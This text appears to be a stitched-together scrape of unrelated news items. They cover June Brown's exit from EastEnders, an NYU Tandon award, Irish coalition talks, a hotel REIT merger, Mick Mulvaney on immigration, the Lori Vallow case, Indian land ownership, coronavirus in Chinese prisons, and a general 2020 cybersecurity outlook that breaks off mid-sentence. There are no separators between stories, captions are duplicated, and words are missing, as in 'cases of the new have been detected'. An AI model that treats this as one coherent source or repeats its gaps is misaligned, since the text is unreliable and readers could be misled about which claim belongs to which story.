"I've sent her off to Ireland and that's where she'll stay. I've left EastEnders. I did make up a limerick. It's a bit dirty," Brown added. "I went back to do a good story. Alas and alack, when I got back it had gone up in smoke. "Well that is no joke. I got a small part, a very small part. And that ended up as a big wet fart. Alas and alack, I will never go back." Brown is perhaps EastEnders' best-known star and played the larger-than-life Dot, known for her devout Christian faith and hypochondria. The veteran actress arrived on Albert Square shortly after the soap began in 1985. Aside from a break between 1993 and 1997, has been a regular since. EastEnders comebacks 1 /9 EastEnders comebacks The boys are back in town: Ross Kemp, who played balding bruiser Grant Mitchell in EastEnders has been convinced by TV bosses to return to the soap...

A All pictures PA The boys are back in town: Ross Kemp, who played balding bruiser Grant Mitchell in EastEnders has been convinced by TV bosses to return to the soap... ; All pictures PA Lesley Grantham, aka Dirty Den, was another character to return to Albert Square after years away - much to the shock of his on-screen family who'd buried him. Lesley Grantham, aka Dirty Den, was another character to return to Albert Square after years away - much to the shock of his on-screen family who'd buried him. Kat Slater is currently holidaying in the sun after leaving poor Alfie, but in real life Jessie Wallace had time off after the birth of her daughter Tallulah. Kat Slater is currently holidaying in the sun after leaving poor Alfie, but in real life Jessie Wallace had time off after the birth of her daughter Tallulah. Letitia Dean who has played Sharon Watts in the soap since 1985 has had more breaks than Dirty Den's had affairs. But will she come back again? Letitia Dean who has played Sharon Watts in the soap since 1985 has had more breaks than Dirty Den's had affairs. But will she come back again? Dot's junkie son the nasty Nick Cotton, played by John Altman, is another original character who 'disappeared' and then reappeared as if by soap magic. Dot's junkie son the nasty Nick Cotton, played by John Altman, is another original character who 'disappeared' and then reappeared as if by soap magic. The Mitchell matriarch played by Barbara Windsor has had more than a year away from the soap due to ill-health, but she's due back as well... hurrah! The Mitchell matriarch played by Barbara Windsor has had more than a year away from the soap due to ill-health, but she's due back as well... hurrah! And finally, the oldest Mitchell brother, Phil, made his EastEnders comeback last night. Who can wait to see the boys in action again?.. And finally, the oldest Mitchell brother, Phil, made his EastEnders comeback last night. Who can wait to see the boys in action again?.. Some of Dot's biggest storylines have explored controversial issues such as euthanasia, cancer and homophobia. Her marriage to Jim Branning, played by John Bardon, was popular among fans. She was also mother to the notorious criminal Nick Cotton, played by John Altman. During her podcast appearance, Brown said leaving EastEnders felt like a bereavement. "I was feeling down a few days ago," she said. "I thought, 'What's the matter? Why do I feel so sad?' It's almost as if I've been bereaved. "I've played two people simultaneously for 35 years. Really Dot wasn't me, but spiritually she probably was." Brown won several awards for her portrayal of Dot, including a lifetime achievement honour at the 2005 British Soap Awards. In 2009, she was nominated for the best actress prize at the TV Baftas. An EastEnders spokesman said the "door remains open" for Brown to return. BROOKLYN, New York, Feb. 21, 2020 (GLOBE NEWSWIRE) -- BROOKLYN, New York, Friday, February 21, 2020 The New York University Tandon School of Engineerings Department of Computer Science and Engineering received a National Center for Women and Information Technology Extension Services Transformation (NEXT) Award for excellence in recruiting and retaining women in computing education. The NEXT Awards honor undergraduate academic departments that have increased womens participation in computing education an especially vital goal considering that a recent study revealed that while women earned 57 percent of all undergraduate degrees, they earned less than 20 percent of all computer and information sciences undergraduate degrees. NYU Tandon placed second in the nationwide selection process. In 2015, NYU Tandon launched a comprehensive initiative to double the number of women in computer science by 2020, a target now far exceeded; in 2015, 61 women majored in the discipline, and by 2019, that figure nearly quadrupled, to 230. At the same time, the overall number of women at NYU Tandon increased from 29% in 2015 to 41% in 2019, and the Class of 2023 comprises 46% women, double the average for U.S. engineering undergraduate programs. Additionally, while retention can be a struggle, computer science majors are currently retained at a rate of well over 90%. That progress is the result of a multi-faceted, intentional effort to recruit, enroll, and retain women students. For example, the department has made numerous pedagogical improvements recommended by NCWIT, including sections of introductory computer science course targeted to students without prior computing experience and expanding the use of undergraduates, including many women students, as tutors and course assistants. Outside of the classroom, women students can choose to live in the Women at Tandon Explorations Community, a dedicated floor in a residence hall that offers a strong support and networking system, and can join such clubs as the ACM-W chapter, Society of Women Engineers, STEMinist, and Women in Business and Entrepreneurship. Additionally, sponsorships are available for those attending the annual Grace Hopper Celebration of Women in Computing. These efforts, collectively, have transformed our undergraduate computer science program from one in which female students often felt isolated to one in which most classes are over a third female and female students feel a sense of community, feel empowered, and are using their educations as launch pads into great careers, explained Professor of Computer Science and Engineering Phyllis Frankl, who also serves as the associate department chair and director of undergraduate studies. Were deeply honored to receive this award in recognition of our efforts to diversify our student population, said Jelena Kovacevic, who in 2018 became the first female dean in the School of Engineerings history. I salute the team at Tandon who have been instrumental in this initiative, and look forward to building on our success and expanding our efforts to encourage underrepresented groups to pursue degrees in vital STEM-related fields, including computer science. NYU Tandons Department of Computer Science and Engineering will receive $50,000, which will be used to increase support for women in computer science and engineering. Not only are we proud to recognize these departments for their remarkable results, but were also proud to recognize the ripple effect these institutions create among the computing community at large, said NCWIT CEO and co-founder Lucy Sanders. They are setting an example for other institutions reinventing their culture by establishing better habits and practices for attracting and keeping a range of students in their computing programs. The award will be presented May 19, 2020 at the 2020 NCWIT Summit in Grapevine, Texas. About the New York University Tandon School of Engineering The NYU Tandon School of Engineering dates to 1854, the founding date for both the New York University School of Civil Engineering and Architecture and the Brooklyn Collegiate and Polytechnic Institute (widely known as Brooklyn Poly). A January 2014 merger created a comprehensive school of education and research in engineering and applied sciences, rooted in a tradition of invention and entrepreneurship and dedicated to furthering technology in service to society. In addition to its main location in Brooklyn, NYU Tandon collaborates with other schools within NYU, one of the countrys foremost private research universities, and is closely connected to engineering programs at NYU Abu Dhabi and NYU Shanghai. It operates Future Labs focused on start-up businesses in Brooklyn and an award-winning online graduate program. For more information, visit engineering.nyu.edu. About NCWIT Each NEXT Award recipient is a client of NCWIT Extension Services a program that connects academic departments (clients) with expert Extension Services Consultants (ESCs) and Extension Services staff to craft high-impact reform efforts for recruiting and retaining more women in their programs. Consultants and staff provide clients with guidance on identifying opportunities and allies, utilizing strategic approaches and resources, and building assessment plans to evaluate progress. Diverse institutional clients nationwide work to achieve quantifiable results such as increased enrollments, declared majors, and graduation rates for women students in computing. Find out more at www.ncwit.org/extensionservices. The National Center for Women & Information Technology (NCWIT) is a non-profit community of more than 1,240 universities, companies, non-profits, and government organizations nationwide working to increase the influence and meaningful participation of all girls and women at the intersections of race, ethnicity, class, age, sexual orientation, and disability status in the influential field of computing, particularly in terms of innovation and development. NCWIT equips change leaders with resources for taking action in recruiting, retaining, and advancing women from K12 and higher education through industry and entrepreneurial careers. Find out more at www.ncwit.org. ### With an almost three-way split in the Dail after the election, the question of who will sit in the Taoiseachs chair is far from solved. A job share may be the only answer but could it ever work? Could the biggest gig in Irish politics really be turned into a job-share scheme? Its certainly starting to look like a distinct possibility. Up until now, Irish coalitions have always had one party much bigger than the others, and its leader automatically became Taoiseach. This months election, however, ended in a virtual three-way tie, with Fianna Fail on 38 Dail seats, Sinn Fein on 37 and Fine Gael on 35. Although some TDs are still in denial, it seems the only way to form a stable government is for two of these groups to work together. All this is prompting speculation about the idea of a rotating Taoiseach, with one party leader assuming the office now and then handing it over to another half-way through the Dails term. Which leaders are most likely to do such a deal? In theory, it could be any two of Micheal Martin, Leo Varadkar and Mary Lou McDonald.Right now, its Fine Gael sources who are privately floating the suggestion as part of their price for entering a coalition with Fianna Fail. In that scenario, Martin would become Taoiseach, while Varadkar takes on some kind of new role as a Brexit ambassador. After two-and-a-half years, Martin (whos 59) would retire and give Leo (41) back his old job. A Fine Gael minister anonymously quoted last weekend said: I dont see how else its going to work. Is there any legal basis for such an arrangement? No, it would be a strictly political understanding. Technically, whenever a Taoiseach resigns, the whole government does too. So the parties involved might also have to agree beforehand that their new boss would reappoint exactly the same ministers as before. Read More Doesnt that give a huge advantage to whichever side goes first? Yes. If a national crisis blew up, its easy to imagine Taoiseach A claiming the situation is far too delicate to make a switch to Taoiseach B just yet. Also, as soon as one group have had their turn in the Taoiseachs office, they have much less incentive to keep the government going. For Fianna Fail, theres another practical difficulty putting a time limit on Micheal Martins tenure would effectively mean kicking off a two-and-a-half-year leadership contest. Is this a completely new idea in Irish politics? No, it has been suggested several times before. When Fianna Fail Taoiseach Charles Haughey was left with no Dail majority after the 1989 general election, Fine Gael leader Alan Dukes offered to rotate positions with him in a grand coalition. Haughey ended up doing a deal with the smaller Progressive Democrats instead, even though he and its leader Des OMalley were widely believed to hate each others guts. Three years later, Labour had a successful election and Dick Spring declared he wanted a stint in the Taoiseachs office too .He eventually dropped this demand in exchange for Labour getting a third of the cabinet ministries under Fianna Fail leader Albert Reynolds. The closest weve ever come to a rotating Taoiseach was in 2016. Under great pressure after losing 16 seats in the election, Fine Gael leader Enda Kenny told Fianna Fails Micheal Martin that he was willing to accept a 50-50 power-sharing arrangement. Martin slept on it,then proposed a confidence and supply deal instead a decision that has clearly not worked out for him in the long run. So, theres no practical experience with the concept in Ireland at all?Actually, there is, but at a much lower level. When Kenny formed his minority government, Independent Alliance TDs Sean Canney and Kevin BoxerMoran agreed to split a junior ministry between them. A coin-toss resulted in Canney becoming junior minister for the Office of Public Works first and then handing over to Moran a year later. After two years, a row erupted because nobody had expected the Government to last that long. Moran refused to budge and Canney walked away from the Independent Alliance, complaining: When you shake hands with a man on a deal and the deal doesnt come through, you have to ask if the trust is gone. How about the experience from abroad? Its extremely limited. Switzerland rotates its presidency every year, but that never causes any friction because the position has so little power. Shimon Peres and Yitzhak Shamir were rotating prime ministers of Israel from different parties in the 1980s. Overall, however, this kind of job share is a highly unusual practice probably because most politicians are too suspicious of each other to try it. What are personal relations like between our three would-be Taoisigh? Not great. Leo Varadkar has compared Mary Lou McDonald to the French far-right leader Marine Le Pen and said Micheal Martin reminds him of a priest sinning behind the altar (he later apologised). Martin thinks Varadkar is a nasty piece of work and claims McDonald is controlled by shadowy IRA figures in Belfast. McDonald has called Varadkar smarmy and accused Martin of spinning conspiracy theories, joking: I appear to live rent-free inside his head. Of course, politics is often about working with people you wouldnt choose as a neighbour, but any partnership that emerged from this lot would immediately be dubbed apolitical odd couple. Finally, how might voters feel about the countrys leadership being carved up like this? For now, most of us seem unconvinced. An opinion poll on Wednesday showed only 27pc are in favour of the notion, 46pc against and 26pc undecided. A rotating Taoiseach may yet be the answer to Irelands political stalemate, but the two Taoisigh involved will have to do a spectacularly good job of spinning it. [February 21, 2020] Condor Hospitality Trust Provides Update on Acquisition by NexPoint Hospitality Trust Condor Hospitality Trust, Inc. (the "Company") (NYSE American: CDOR), a hotel-focused real estate investment trust (REIT) headquartered and incorporated in the state of Maryland, provided an update today on the previously announced acquisition by merger of the Company (the "Merger") by NexPoint Hospitality Trust ("NHT") (TSX-V: NHT-U). The closing of the Merger has been extended to March 16, 2020, a previously announced potential extension date, from February 28, 2020, subject to the satisfaction or waiver of certain remaining closing conditions. About Condor Hospitality Trust, Inc. Condor Hospitality Trust, Inc. (NYSE American: CDOR) is a self-administered real estate investment trust that specializes in the investment and ownership of upper midscale and upscale, premium-branded, select-service, extended-stay, and limited-service hotels in the top 100 Metropolitan Statistical Areas ("MSAs") with a particular focus on the top 20 to 60 MSAs. The Company currently owns 15 hotels in 8 states. Condor's hotels are franchised by a number of the industry's most well-regarded brand families including Hilton, Marriott, and InterContinental Hotels. Forward-Looking Statement This news release (including statements about the expected timing, completion and effects of the Merger) may contain forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements include all statements that are not historical facts, and in some cases, can be identified by the use of forward-looking terminology such as "may", "will", "expet", "intend", "anticipate", "estimate", "believe", "continue", "project", "plan", the negative version of these words or other similar expressions. Readers are cautioned not to place undue reliance on any such forward-looking statements. All forward-looking statements speak only as of the date hereof and are based on current expectations and involve a number of assumptions, risks and uncertainties that could cause the actual results to differ materially from such forward-looking statements. They are not guarantees of future performance and involve risks and uncertainties that are difficult to control or predict. Condor may not be able to complete the proposed transaction on the terms described herein or other acceptable terms or at all because of a number of factors, including without limitation, the following: (i) the occurrence of any event, change or other circumstances that could give rise to the termination of the merger agreement; (ii) unknown, underestimated or undisclosed commitments or liabilities; (iii) the inability to complete the proposed transaction due to the failure to satisfy the closing conditions to the proposed transaction; (iv) risks related to disruption of management's attention from Condor's ongoing business operations due to the proposed transaction; (v) the effect of the announcement of the proposed transaction on the ability of the parties to retain and hire key personnel, maintain relationships with their franchisors, management companies and suppliers, and maintain their operating results and business generally; (vi) the risk that certain approvals or consents will not be received in a timely manner or that the proposed transaction will not be consummated in a timely manner; (vii) adverse changes in U.S. and non-U.S. governmental laws and regulations; and (viii) the risk of litigation, including shareholder litigation in connection with the proposed transaction, and the impact of any adverse legal judgments, fines, penalties, injunctions or settlements. The forward-looking statements represent Condor's views as of the date on which such statements were made. Condor anticipates that subsequent events and developments may cause those views to change. These forward-looking statements should not be relied upon as representing Condor's views as of any date subsequent to the date hereof. Condor expressly disclaims a duty to provide updates to forward-looking statements, whether as a result of new information, future events or other occurrences. Additional factors that may affect the Company's business or financial results are described in the risk factors included in the Company's filings with the SEC (News - Alert), including its Annual Report on Form 10-K for the fiscal year ended December 31, 2018, and subsequent Quarterly Reports on Form 10-Q and Current Reports on Form 8-K. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005481/en/ [ Back To TMCnet.com's Homepage ] Donald Trumps acting chief of staff, Mick Mulvaney, reportedly admitted that the US needs more immigrants during a private talk delivered to a group of university students. Mr Mulvaney, who was speaking at the Oxford Union on Thursday night, said America was desperate for more people in order to fuel the countrys economic growth, according to the Washington Post. We are running out of people to fuel the economic growth that weve had in our nation over the last four years, he said. We need more immigrants. He added that the Trump administration wants these immigrants to enter the US in a legal fashion. Mr Mulvaneys words mark a contrast to the hardline stance adopted by a number of top White House officials and, on occasion, the president himself, who warned that our country is full during a visit to the US-Mexican border in California last year. 'Dangerous' overcrowding of migrants in US border facilities Show all 6 1 /6 'Dangerous' overcrowding of migrants in US border facilities 'Dangerous' overcrowding of migrants in US border facilities Photos of detained migrants crowded into cells at the US border - with one holding up a sign reading simply "help" - have been released as part of a new report warning of "dangerous" overcrowding. The memo was sent to the Department of Homeland Security by its Inspector General, containing photos taken at border facilities in the Rio Grande Valley over a week in June DHS/OIG 'Dangerous' overcrowding of migrants in US border facilities Eighty-eight adult males held in a cell with a maximum capacity of 41, some signalling prolonged detention to OIG Staff on June 12 DHS/OIG 'Dangerous' overcrowding of migrants in US border facilities Overcrowding of families observed by OIG on June 11, at a border patrol facility in Weslaco, Texas DHS/OIG 'Dangerous' overcrowding of migrants in US border facilities Migrant families overcrowding a border patrol facility on June 11 in McAllen, Texas DHS/OIG 'Dangerous' overcrowding of migrants in US border facilities Fifty-one adult females held in a cell designated for male juveniles with a capacity for 40 at Border Patrols Fort Brown Station DHS/OIG 'Dangerous' overcrowding of migrants in US border facilities Migrant families overcrowding a border patrol facility on June 11 in McAllen, Texas DHS/OIG However, Mr Trump has been inconsistent with his views on legal immigration. In his more recent State of the Union address, he called for a system that rewards immigrants who contribute to our economy, support themselves financially, and uphold our values. Such an approach echoes the policies adopted in Australia and Canada, with Mr Mulvaney admitting on Thursday that the Trump administration is eager to embrace a model closer to those nations. We are very interested in expanding that, he reportedly said. Efforts within the White House to push forward and develop such a system have been met with resistance from hardline immigration restrictionists, such as senior policy adviser Stephen Miller, who are eager to protect US workers from foreign competition. Immigration is playing an increasingly large role in US population growth (Statista) Despite the ongoing debate on whether to promote or curb legal immigration, the US has been subject to a fierce crackdown on foreign workers and asylum seekers under Mr Trump. The number of immigrant and non-immigrant visas issued since 2016 has notably decreased by more than 15 per cent, according to state figures, while efforts remain underway to construct a border wall between the US and Mexico. Heeding calls from 31 states to end refugee admissions from Syria, Mr Trump has also slashed the total number of refugees the US accepts annually to just 18,000 this year, the fewest in history and down from a cap of 110,000 just two years ago. A travel ban on citizens from a number of many Muslim-majority and African countries has been enforced too. Rexburg Police Department The d0omsday-obsessed mother of two missing children was arrested in Hawaii on Thursday for failing to comply with a court order to produce her 17-year-old daughter and 7-year-old son. Lori Vallow has refused to cooperate with Idaho authorities investigating the disappearance of Tylee Ryan and her adopted brother J.J. almost five months ago. She and her husband, Chad Daybell, the author of apocalyptic novels aimed at a Mormon audience, fled Idaho when police began poking around and have been holed up in Hawaii. Police are also investigating the deaths of Vallows and Daybells previous spouses shortly before they got married. Through an attorney, the couple have denied wrongdoing. Idaho Doomsday Couple Found in HawaiiWithout Missing Kids Authorities have said they believe the childrens lives are in danger and dont believe Vallow and Daybell took them to Hawaii. Their belongings were stashed in an Idaho storage locker, and Vallow reportedly had Tylees phone when officers executed a search warrant on Jan. 26. An Idaho judge issued a court order for Vallow to appear with the children days later, but she was a no-show. She was then charged with two felony counts of desertion and non-support, obstructing officers, contempt of court and criminal solicitation of a crime. The Madison County, Idaho, prosecutor said in a statement that the complaint alleges that Vallow abandoned her two minor children, delayed law enforcements attempts to locate her children, and encouraged another individual to delay law enforcements attempts to locate her children. Additionally, the State alleges that Vallow disobeyed a court order to physically produce her children to authorities in Idaho. Doomsday Mom Lori Vallow Misses Deadline to Produce Missing Kids The Kauai Police Department said it arrested her on a warrant out of Idaho. She is being held in lieu of $5 million bail until a hearing where she can decide whether to waive or fight extradition back to Idaho. Story continues We are elated. We are relieved, J.J.s grandmother, Kay Woodcock, told East Idaho News. We are ready for the next step, which for Lori is: Where are the kids? Where are the kids? Where are the kids? Vallow and Daybell got married weeks after his wife died; her last husband had been killed months earlierby her own brother during what was described as a domestic dispute. Police are now re-investigating both deaths and exhumed the body of Daybells wife to conduct the autopsy he initially declined. The couple reportedly met after a still-married Vallow began reading Daybells books and got involved in his doomsday-prepper community. Read more at The Daily Beast. Get our top stories in your inbox every day. Sign up now! Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more. The landed class rewards loyalty and descendants are employed by families over eras. A curious aspect strikes passersby in Hyderabads upscale Jubilee Hills area. Lanes upon bylanes, villas on sizeable estates once occupied by bustling families today lie vacant. In exchange for a meagre wage, a small family or an individual maintains the grounds, and lives in a tenement on site. In adjacent Banjara Hills, more such properties are being replaced by builder apartments and exclusive gated communities priced at crores of rupees. This phenomenon has swept most of Indias metropolitan cities, and is especially visible in New Delhi, where every third residence is under remodelling for sale or lease. As influential families with generational wealth from pre-Independent India, or ones that acquired it in the years post-liberalisation and the information technology boom have turned global, with members migrating and settling abroad in pursuit of a better life, their movement and behaviour is starkly altering the politics of land back home in India. These properties largely retain their original ownership, or are replaced with complexes where the plot owner retains one or several flats. They may have invested in more realty in what was once suburbia, now swallowed by cities and soaring property value. With their families (some second generation) occupying the upper classes in the global north, the new landed gentry of India divides its time abroad, and drops in to maintain these properties and settle pending matters on leases. Not much binds them to modern India, save nostalgia, a handful of relatives and remaining friends. With exceptions, the relationship between landlords and tenants remains feudal. In exchange for regular payments, shelter alongside small favours such as bare minimum repairs are extended by someone with significant power and control over a major portion of an individual or a familys life at constant threat of eviction, or the loss of security deposit. Similarly, salaries disbursed to the staff for upkeep are just enough to keep them locked into dependence. The landed class rewards loyalty and descendants are employed by families over eras. Individuals with generational income continue to own either crumbling or restored ancestral mansions flung across cities and towns. Chettinadu or Kolkata immediately spring to the mind several retained for the owners regional or cultural affinity, few for architectural details and historical familial legacy, but almost all as a marker of influence and status quo as the locations reveal. Residences form the surface, but influential families of the upper strata across the country and the erstwhile aristocracy have managed to pass on havelis, temples, palaces down the family tree. Our current Prime Minister and his colleagues in so many ways reflect the interests of this well-heeled, well-educated group. Largely abroad, back home occasionally to tend to matters, ensure the bare minimum to keep ones head above water, and then onward to peregrinations. India then is a plot or a property to be managed; Indians are paltry tenants. The link between overseas Indians with the funding and rise of fascist groups back home are well documented. The inimitable journalist Ravish Kumar, speaking at the University of California (Berkeley) in November 2019, noted how the very people who managed to use welfare systems to rise and establish themselves abroad, funnel resources to ensure these routes never appear in India, and if they do, are corrupted or destroyed. The recent abolition of the Dividend Distribution Tax makes real estate investments lucrative for non-resident Indians and further rewards them for their pro-establishment choices. The intent to retain land at all costs within families or clans swings votes conservative. The global landed gentry of India, despite their semi-feudal or significant open outlook in other realms, chooses politics which ensure the status quo as it identifies the consequences of owning multiple fixed assets. Personal biases or ideological politics drive owners to rent to individuals of favoured communities or financial ability, indirectly aiding ghettoising and gentrification. If they choose to sell, it is largely to wealthy companies, and influential individuals and families who inevitably hail from the dominant classes and castes. As people are pushed together in ghettoised neighborhoods, the local government reduces access to civic amenities, and further isolates citizens from crucial contributors to mental health such as community parks. Property value speculation and impacting factors further drive individuals to band together towards the kind of politics that erases or dissuades settlements of oppressed communities and migrants, many employed in the very construction of the highrises that the landed groups invest in. The land is seen as rightfully belonging to the upper classes and castes, and illegal were anyone else to occupy it. Over time, realty will move into the hands of a generation settled abroad that will not be invested in the well-being or concerns of a large population largely alien to them. The landholdings only form a cross-continental financial safety net, as we see with the former royal families of India, who slip in and out, maintaining palaces left to them by ancestors as high-end hotels serving to network with the global elite. We have effectively created a colonising class populated by our own fellow citizens. As the nation enters its third month of dissent provoked by the brute forces of right-wing extremism, and grows increasingly disenchanted with capitalism, how a polarised India tackles the ravages of a new zamindari system will shape democracy, and the fortunes of its citizens, for decades to come. More than 500 cases of the new have been detected in prisons across China, authorities said Friday, prompting the sacking of a slew of officials. Hubei, the hard-hit central province where the virus emerged late last year, said Friday that 271 cases were reported by its prisons on Thursday, including 220 that had previously not been known to provincial authorities. Most of those cases were at the Wuhan Women's Prison in Hubei's capital, He Ping, director for prison administration at the Ministry of Justice, told reporters. The warden of Wuhan women's prison had been removed for failing to prevent the outbreak, according to local Communist Party newspaper Hubei Daily. Seven guards and 200 inmates also tested positive for the virus at Rencheng prison in eastern Shandong province, the provincial health commission said at a press conference. Xie Weijun, head of Shandong's justice department, ad seven other officials were sacked over the outbreak, officials said. Wu Lei, director of Shandong's prison administration, said the new cases showed that "the implementation of our prevention and control measures have not been effective". The central government has dispatched a team to launch a "comprehensive investigation" into the outbreak at Rencheng Prison, state news agency Xinhua reported. Another 34 cases were found at Shilifeng prison in eastern Zhejiang province, leading to the ouster of its director and another official. A policeman had "deliberately concealed" information about a visit to Wuhan -- the epicentre of the outbreak -- in mid-January and continued to work at the prison, said Xu Xiaobo, deputy director of the Zhejiang Provincial Justice Department. "The policeman... was diagnosed with new on January 29. He had worked long hours and has come into contact with many people, causing many prisoners to become infected," Xu said. "All the cases were imported cases. All patients are observed in isolation, and all confirmed patients are sent for treatment," he added. Xu said no deaths had occurred in the prisons because of the One suspected case was found at the Hubei Juvenile Detention Center, He said. Hubei announced earlier on Friday that a total of 411 new cases of the virus were confirmed in the province on Thursday, but later revised its figure up to 631 to include the prison numbers. The clusters came as Chinese authorities have pointed to a drop in officially reported new cases this week as evidence that quarantines and other drastic measures to contain the virus are working. Most of China remains paralysed over fears of contagion, with schools remaining closed and Beijing ordering those returning to the city to self-quarantine for 14 days. New cases at two hospitals in the country's capital have also emerged. Health officials said 36 patients, medical workers and family members have been infected with the virus at Beijing's Fuxing hospital, which has been partially sealed off since January 31. An elderly woman receiving kidney treatment at Peking University People's Hospital also tested positive after two infected relatives visited her earlier this month, the hospital said. The virus spreads through droplets disseminated by sneezing or coughing, highlighting the risks for large groups of confined people, possibly without adequate access to soap and water. Members of China's Uighur minority living in exile have also warned of the risk of the coronavirus spreading in internment camps, where rights groups say more than one million people have been rounded up by authorities. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Cybersecurity is a very serious issue for 2020 and the risks stretch far beyond the alarming spike in ransomware. In addition to the daily concerns of malware, stolen data and the cost of recoveringfrom a business network intrusion, there is the very real danger of nefarious actors using cyberattacks to influence or directly impact the outcome of the 2020 U.S. general election. Today, every company that has a computer or any connected devices or software should see itself as a tech company. Everyindividual with a smart TV, virtual assistant or other Internet ofThings (IoT) device could be at risk as well and the risks include beingvictimized by cyberstalkers or having personal data compromised. We are seeing growing attack surfaces for example, automotive, drones,satellites and hardware components, said Michael Sechrist, chieftechnologist at Booz Allen Hamilton. There is also increased obfuscation fromsophisticated actors that is, malware code reuse and similarities, he told TechNewsWorld. Several major domestic and international events will likelyprovide attackers opportunities for digital disruption across largeand small companies and governments alike, Sechrist said. Although everyone whos connected in this increasingly connected world is a potential target, understanding the risks can help alleviate the overall threat. The main threat companies face is in not adequately keeping pace withthe ever-evolving security threat landscape, said Ellen Benaim,information security officer at Templafy. It is a constant battle to keep abreast of the latest issues. Tomake matters worse, we predict that in 2020 cyberthreats will becomemore frequent and sophisticated, spanning a wider attack surface andcausing a more deadly impact, she told TechNewsWorld. Old Threats Still Have Teeth Many of the same threats that have been around for years willcontinue to pose real problems in 2020. Among them are phishing attacks. Phishing is essentially tricking others into taking an action thatcan be profited from, said Tom Thomas, adjunct faculty member inTulane Universitys Online Master of Professional Studies in Cybersecurity Management program. A D V E R T I S E M E N T Since all those millions are still sitting in a bank in Nigeriafor over 20 years now, I am sure phishing is here to stay as long aspeople are greedy and easily tricked, he told TechNewsWorld. Education is quite common, but these scams are evolving as well and some of these email scams are very believable unless you lookclosely, which most people do not, warned Thomas. Another cybersecurity threat is one that isnt really an attack, butrather a problem due to overworked and at times underpaid softwaredesigners. This is the issue of software errors, and those errors canresult in exploits that hackers and other criminals can target. These are valid concerns, and with the rise of software as king in theIT space, this means that developers are going to have to addresssecurity within their code, new and old, said Thomas. Threats From Within One overlooked area of cybersecurity is who has legitimate access tothe data, and whether those individuals can be trusted. Edward Snowdenis just one example, but the issue has plagued tech companies foryears. In the spring of 2018, Apple had to fire an employee forleaking details of the companys software roadmap. This problem is likely to get worse, as there is now a cybersecurityworker shortage, and companies are being less diligent when it comes tonew hires. A big threat facing companies in 2020 is the insider threat, saidTemplays Benaim. Whether it is deliberate or not, the impact of these threats can bedevastating, she added. Insider threats can manifest in a number of ways for example, anovertired employee might simply forward confidential data to thewrong recipient, Benaim said, or a disgruntled former employee might downloadcustomer records from a CRM tool with malicious intent. Both scenarios could lead to a severe data breach, triggering inordinate fines for your company under GDPR. Pointed Attacks Even trusted employees can make critical mistakes. Hackers usesocial engineering techniques to breach a network and gathersensitive data as well as tools to encrypt data or break security systems. A D V E R T I S E M E N T In 2020 we could see more multi-layer spearphishing, where multipletargets inside a business are used to gather information and gainaccess, warned Laurence Pitt, global security strategy director atJuniper Networks. The delivery mechanisms will also be more complicated, he told TechNewsWorld. Any threat that costs money, and especially where it affects publicmoney government and healthcare will remain newsworthy, Pitt added. Well see more attacks using common vectors, such as phishing,download via malvertising, etc., he predicted, but also attacks that use old methodswith new vectors. The Masad Stealer attack, reported by Juniper ThreatLabs in late 2019, is a good example of this, where data and money wasstolen via malware injected into a used and respected piece of software. Malware Hangups It isnt just computer networks that could be at risk in 2020. Alreadyweve seen that little has been done in recent years to ensure thatmobile devices are protected adequately from cyberattacks. In the case of smartphones, devices could become infected simply bydownloading apps even from what should be trusted platforms. The StrandHogg malware is using malicious but popular apps on thePlay store as a delivery mechanism, and until Google closes thevulnerability that allows this to work, any device and user issusceptible, said Pitt. Mobile phones have become a gateway to our most sensitive andpersonal information, and yet the offer of a free application stillgets millions of downloads without a thought as to whether itssafe,' he added. Users need to stop blindly accepting device requests for access toresources; stop downloading free apps that they do not need andprobably will only use once; and, finally, deny if an applicationrequests access to something that seems strange or unnecessary forexample, a PDF reader wanting access to SMS messages, advised Pitt.This will help keep devices and data more safe. Fake Out Another major concern for 2020 might not affect data directly, but it should be on everyones radar nonetheless: the rise of deepfakes, manipulated videos that have been used to discredit individuals, to spread misinformation, and to cause harm in seemingly endless ways. Deepfakes have increased in sophistication. Ever more powerfulcomputers and even mobile devices are making it all too easy to create convincing fakes. One concern is how they might be used in conjunction with fake news across mobile platforms. Deepfake technologies will be used to attempt to influence the 2020elections in the United States and beyond, predicted Erich Kron, securityawareness advocate at KnowBe4. Fake videos and audio will be released close to the election time inorder to discredit candidates or to swing votes, he warned. While these will be proven as fakes fairly rapidly, undecided voterswill be influenced by the most realistic or believable fakes, Kron added. Securing the Cloud One misconception about cybersecurity is that off-site or hostedstorage comes with greater risks. The cloud may have certainadvantages, in fact. There is a common misconception that the cloud is inherently lesssecure than traditional on-premises solutions, said AndrewSchwarz, professor in the Information Systems & Decision Sciences program in the E. J. Ourso College of Business Administration atLouisiana State University. The problem is that when there is a cloud breach such as the breachover the summer at AWS it makes huge headlines, and skeptics point tothese examples as reasons why companies should be reluctant to movetheir own systems into the cloud, he told TechNewsWorld. The problem with these examples is that network security issubject to the principle of the greatest weakness your data will bevulnerable in the interface that is the weakest, he added. Cloud security is going to continue to improve as the cloud itselfmatures, said Tulanes Thomas. In fact cloud, if implemented correctly, can increase security risks so ensuring that these risks are mitigated is critically important,he pointed out. Last summers AWS breach showed that the cloud isnt the fundamental problem. Itwasnt the cloud provider that was at fault but a misconfigured firewall, which was due to a decision the client made. Furthermore, cloud providers will only survive if their clouds aresecure and are investing R&D in providing new approaches to securitythat will push the boundaries of security as we know it, saidLSUs Schwarz. Any breach means a certain death to providers. Thus it is intheir best interests to keep systems secure. The answer is thereforethat the cloud is not only secure, but is more secure than most, ifnot all, on-premises data centers. Security in Real Time Cybersecurity isnt just about computer networks or consumer devices. There are several significant upcoming happenings that hackers could target, and what is at stake goes well beyond money or data. There are three major events in 2020 that will certainly be a magnetto cybercriminals and nation state actors: the U.S. presidentialelection; the first-ever online U.S. census; and the Olympic games inTokyo, noted Mounir Hahad, head of Juniper Threat Labs at Juniper Networks. We will identify meddling attempts on social media; attempts atinfiltrating campaign staff; security holes in the census process, andattempts to exploit them; and that some attack on the Olympicsinfrastructure will probably succeed to some extent, he told TechNewsWorld. I am very concerned about the election. Government IT Security iswoefully lacking, especially when you get down to the county andprecinct level, which is where these machines are accessible, notedThomas. Electronic voting is still evolving slowly and that is what concernsme, as we have seen in the news that electronic ballots are far easierto subvert than paper ballots, he said. None of these problems will be easily addressed this year, or even inthe years to come. Cybersecurity remains a field that has too manyopenings and too few candidates. It requires constant 